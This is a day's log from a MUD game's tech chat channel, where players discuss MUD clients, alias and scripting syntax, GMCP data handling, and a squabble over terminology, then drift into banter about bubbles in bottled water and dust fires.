T3/r7/2013-04-23.txt.gz:{chan ch=tech}Jhav Tech: Shhh.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: What do you use ableinc?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: tinyfugue
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: Yeah, that's popular around different muds.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I've been using tintin without anything except split 0 1
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't remember if I used zmud for longer than I've used mushclient
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Bertilak Tech: the most amazing thing is that as many people actually still play muds at all
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: I'm rather pimped out on tinyfugue ;-)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm rather pimped out on CMUD. ;)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't pimp anything
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I don't think muds are going away any time soon.  Not everyone likes to frag.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: arkanes does
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: i'm just lazy and mush runs on every platform well with wine
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: arkanes is dead for all I know
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I'm tempted to get in to the tintin code.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: get into the mushclient code. mota knows I could use some help
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: get back to work Fiendish
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm writing a note on a forum
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not sure there's much in MUSH that needs to be added/done anymore, really, aside from any bug fixes.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I'm on Linux and don't run wine.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: But then, I don't use MUSH, so I wouldn't know too well.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I'm still kind of torn about build a browser client instead.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: mush runs perfectly in wine
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: javascript and html5...hmmmm
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: please build a good browser client
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: And if I understood it a bit better, I might even be tempted to switch over to MUSH. I just can't really figure out how to do some of the scripts I use, like loading a variable of mobs based on alignment vs mine and level vs. mine so all I have to do is hit a macro to kill the next mob in the variable. :\
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: make one that works well and I might use it 
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Too many people are building browser clients. Too many people are failing. :p
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the first problem is that mud servers don't speak websocket
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at The Jerk Fiendish.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: get lasher to fix that and you're all set
T3/r7/2013-04-23.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: the angle of the dangle is inversely proportionate to the heat of the meat.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: wrong channel
T3/r7/2013-04-23.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: that just didn't sound right.. at all...
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: Do you mean because he said 'proportionate' instead of 'proportional'?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I am more tempted to work with tintin because browsers have so many little glitches between them and change a lot.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: javascript doesn't change
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: nope.  And I've written pages completely in javascript.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: write a...hey wait were you the one who did the music note thing?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: no
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, never mind then
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah write a client
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: music note thing?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't know. some guy here was learning javascript and html5 and made a page that showed music scores
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it was neat, but the code was in german so I had kind of a hard time helping
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: maybe not german? not english, anyway. I don't remember what language
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: There are too many clients with incompatible scripts, so to solve that I am going to write a new client with a new scripting language to replace them all :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: heh
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Bertilak Tech: you're on the right track, Ranrr
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: http://xkcd.com/927/
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I think I'll get in to it once I reach R7.  Just catch, help, and pup, and program :)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I also don't want to write for a bunch of screens.  I've got 1920x1080.  All the resizing crap would be a pain.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: tell me about it
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I mean, if I write at 1920x1080 and then scale down, what gets lost?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the will to live
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: haha
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I suppose I could make off screen things available as popups.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: If you can't handle different screen sizes, don't be a developer.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: ranrr, ever notice how most things are limited in width on aard?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'd make a joke, but this isn't a curse channel
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: Yes....
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: ranrr So, what are you saying about the development of aard itself?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: Well, that's one way to solve different sizes, so I guess it makes lasher a developer.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: But the mud is not responsible for presentation, the client is.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: The mud has no screen.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Lasher isn't only the developer. He's also a client.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that was funnier in my head
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Ranrr comforts The Jerk Fiendish.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ozu Tech: in that case do you think Lasher ever shouts at himself for scope creep?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: probably
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: oh well, this this wrong chan
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Persley Tech: can someone tell me how to make button sets if I use the android client?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: Anyone available to help me install a quest miniwindow? Is this the right channel to ask on?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vesuviou Tech: can i do mapper cexit 2n or it need to be n then n? no shortcuts like 4n like zmud or cmud?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mapper cexit run 2n
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vesuviou Tech: ohh
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: how do i escape the semi colon in blowtorch? i need it for aliasing multi-commands but blowtorch parses it?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ayasinda Tech: use 2 of them like in mush?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I thought it was ;;
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: didnt work
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but haven't used it in a while. Might need to try \;
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: nope
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: problem is that *both* client and server use semicolon to separate commands. so dual 
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: triggers eol
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Grissom Tech: you might need to bring up the options panel in the client then use the aliases tab thingy
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: thats my next plan, hoped to avoid it, since its then bound to my phone
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Bast Tech: try ~ before the ;
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: ;)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Humbler thanks Bast heartily.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ayasinda Tech: http://bt.happygoatstudios.com/?view=options
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ayasinda Tech: oops too late I see
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: heh
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: works here not on alias?!
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Humbler Tech: nvr mind :)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: do you have to be coding in lua to gather data from gmcp?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grumbles and growls. You wonder what's wrong...
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: huh? why?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The GMCP handler only offers lua interfaces, but you could port that plugin to anything you wanted, you'd just have to put in the effort
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: yeah, wish I had time for that =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: duckbat did
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or create a conversion plugin
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That gets gmcpval, sets it using SetVariable, then pull it out in an alternate interface with GetVariable
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, that's only if you're referring to MUSH. Frostbite didn't mention any client.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Unless I'm mistaken, it's for mush :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Therefore, you don't need to code in Lua to gather data from GMCP. You just need to know what your client uses as a GMCP handler.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: It'll probably be to slow to keep up =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Trachx Tech: there may exist plugin or script that does what you need
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Assumptions are for morons. ;)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Trachx Tech: so, what for you need info from gmcp?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: was gonna use personal stats like hp/mn/ect
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Can always resort to statmon :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Can also always resort to Windows 3.1. :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Next question, How does one stack commands using just one DoAfterSpecial in VBScript?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: double the ;s?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: tried that =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Are you doing Send() or Execute()?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: world.send/world.execute iirc in vb
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: also tried \n and pretty much everything else. The first command is world.enablegroup and then I wanted to attach a world.note to that command.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Show your whole DoAfterSpecial?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: doafterspecial sends to script
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: the enablegroup works just fine... I'd like the note but it's not a pivotal part of the script =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you post the doafter like I asked to I can look at the whole thing, I may be able to help :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: world.DoAfterSpecial 5, "world.enablegroup ""thetrig"", 0", 12
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Simple solution, create a function that does both and call that instead of your enabledgroup/trig
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: But the format of your actual send is all wrong. You have to separate strings being evaluated without any sort of concatenation or division
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: to = two
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: guess I could just use world.execute... forgive my brain... It's mush due to finals week being next week :(
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: also, fail extraneous quote after 0
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: necessary
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: How so?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: try without it =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: Is this the right channel to ask for help making a trigger?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I don't screw with vb, i use Lua like a real man :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: as good as any, Fre
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grins evilly at Helperful Cheezburger.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vonliege Tech: I don't screw with dentists..  I pulled out all my teeth with a pliers - like a real man
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grins evilly at Vonliege.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vonliege Tech: =)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Wondered why your breathe was so bad :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: I want my quest info broadcasted to my group talk... Cant remember how to do it
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Mush, frey?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: yes
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What exactly do you need help with?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: guessing the parsing =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I know you want to create a trigger, and what you want to send. Are you needing help creating the trigger, getting the values, sending the values, what?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: frey: there are pre-built plugins that do that already...
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Also, that being said, bast has a plugin for that already iirc
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: the best way to get the info is from GMCP which is outside triggers anyway
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not necessarily :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: yes necessarily :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No, not necessarily. I have dozens of triggers using GMCP :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: who said triggers can't use GMCP?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You just call the handler plugin from the trigger, ereally easy.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You said it's outside of trigger, it's not due to the helper
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: it is outside the trigger
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I modified/fixed Nick Gammon's quest miniwin plugin and even made it play nice with Fiendish's Miniwin plug-in :)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: I installed the plugin from bast, but it didnt bc to my gt. I dont know how to make my own trigger at all...
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: you have ZERO triggers which get GMCP data via the trigger
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Bast's allows you to change where it reports
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: Ok, how do I change where it reports?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: the helpfile for it tells how to change the report channel
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I call the helper interface, and by interacting with an interface it becomes and implementation, therefore the GMCP is now inside of the trigger due to it's schema.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can argue sematics all you want, but once you've pulled the values into the trigger environment, it's no longer outside of it's scope
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: period
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: no, the GMCP data is not retrieved by the trigger, cheez, you're fully incorrect
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: Where do I find the helpfile?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: you've pulled the values into the trigger...the trigger did not get them
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: the helper got them, period.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Now you're jsut splitting hairs to save face.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: ladies, there's no room for pissing contests on tech. They belong on Gclan or Imm =P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: no, now I'm teaching you why your statement was 100% wrong...or I would be if you would actually be teachable
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: lrn2lrn
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vonliege Tech: and 'debate'... lot's of pissing in 'debate'
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'm prefectly, teachable. I just don't see the point of learning from someone who's entire job it is, is to nitpick everything and call everything else wrong.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: Are we still talking about helping me change the location the plugin bc's to? 0.0
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Once I have the values from the helper, it's inside my trigger environment, end of story. Once it's inside the environment, it's no longer "outside of triggers".
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: don't claim that correct things aren't correct, and I won't point out that you're wrong :-)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can't pull directly from GMCP, yes, but I don't need to.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: you do if you bothered to read what was claimed
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And again we're back to semantics, because the Almight Abe is never wrong.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Heil Lincon!
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Hopefully they're almost done with the contest Frey
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grabs some popcorn and sits back to watch the show.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: lincoln*
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: nothing semantic about it...your triggers are not how your script learns GMCP data
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You said, and I quote exactly "Which is outside of triggers", once I pull in the data, no matter the origin, it's inside the trigger. End of story.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: because gathering that data is...bum bum bum...outside triggers
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Freyja holds her roll of tape tightly and grins wickedly.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: gathering that data is outside the triggers...the question which was being addressed was "how do I get the data"...your triggers don't get the data...your triggers are handed the data from the interface which gets the data
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can keep going if you like, but I'm kind of tired of slamming my head against this wall here.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: you're tired of it...at least your head is protected }:>
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: pull it out of your butt and see how it really feels
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but it's warm in here
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Freyja Tech: Ok, I typed in bqu and it gives me all sorts of options but I dont see anything to change where is bcs to
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Wyverex Tech: abelinc is a joke
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: You tickle Wyverex.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tepeyollotl Tech: in MUSH mapper cexit commands how exactly do you pause the execution of a command. it says wait (<seconds>) in help file, but not sure if it should be wait (5) for example or wait(5) or wait (<5>) or how syntax is supposed to be exactly.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: tepey: wait(5)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tepeyollotl Tech: kk, so no spaces. thank you.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: why do bubbles appear in my bottle of water when I leave it by the window 
T3/r7/2013-04-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: radiation
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tigernuts Tech: socialists have 'taxed' the water in the gaps where the bubbles are
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Fluffhead smirks at Tigernuts's saying.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tigernuts Tech: i thought that was pretty good, myself ;-)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tigernuts Tech: (for me, that is)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: change in vapor pressure?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: why would that makes bubbles appear, wouldn't the water just expand/contract
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: it tastes the same btw
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: minerals will distill out
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: dissolved gasses will come out. the warmer the water the lower its saturation point for some gases
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: ah, so why didn't they just float to the top
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: chemistry
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: and possibly physic too
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: physics*
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: that's kinda vague
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: definitely physics, probably along the same lines as what causes flour to stick to the walls.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: Psychics?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: could be due to psychics too. see if you have some sylvia brown floating around in there
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: yes it's possible it was stuck to the side of the bottle rather than just floating dormant in the water
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: possibly because the bouyancy of the gas isn't great enough to overcome the surface tension of the water yet
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: Damn, science. You crazy.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: for a minute I was contemplating putting some fresh water in there instead, but it tastes ok
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: which gas is it?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: my guess would be nitrogen
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: nitrogen gas in my water?! =/
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: dude you are breathing it right now
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: over 70% of our atmosphere is nitrogen
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: it's just "incidental air" aka atmosphere.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: try opening it up and shaking it vigorously, that should get rid of most of the nitrogen
T3/r7/2013-04-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: well yeah I know, it just sounds crazy, figured it'd be oxygen bubbles or sommething
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: probably some O2 in there also
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fluffhead Tech: Heh, opening and shaking should get rid of most of the water, too :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: shh!
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: oxygen is flammable, though.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: Tell us more science stuff, Vorpes.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: might even be able to catch the air on fire with static electricity if you were in 100% oxygen.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i dunno about that
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it is required for combustion but i don't know if it by itself burns
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fluffhead Tech: it will accellerate it pretty well if 100%, I know that. Stupid smokers smoking on oxygen :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: more science stuff huh? ummm google mr wizard
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fluffhead Tech: Heh, it will accellerate it pretty well on 33%, for that matter
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod it will make pretty much anything burn
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: ever seen a sawdust fire?  Talk about scary dangerous.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i remember hearing about silo's exploding because of the fine particulate
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fluffhead Tech: never seen one in person. Just mythbusters. But have seen the remnants of silo fires
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yea so is it safe to say that pyro goes right along with computer nerd?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: sawdust, or any cloud of flammable particulate, essentially makes the air one giant firebomb.  Introduce a flame source and the whole thing goes up immediately.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fluffhead Tech: Not a big fan of fire, to be honest. Big reason why I do ems instead of fd :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: a blood and guts guy, huh?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Fluffhead Tech: nope. Trauma is boring. I go for the medical stuff
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: It's amazing how a question about water turns into this. Not that I mind.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: you mean like heart attacks and stuff?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it was either this or fart jokes, and i used all mine up for the day
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: I feel like scripting tonight, scripting tonight!
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: but I dunno what. :(  Any ideas?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: Write me a script that lets me level with just my mind.
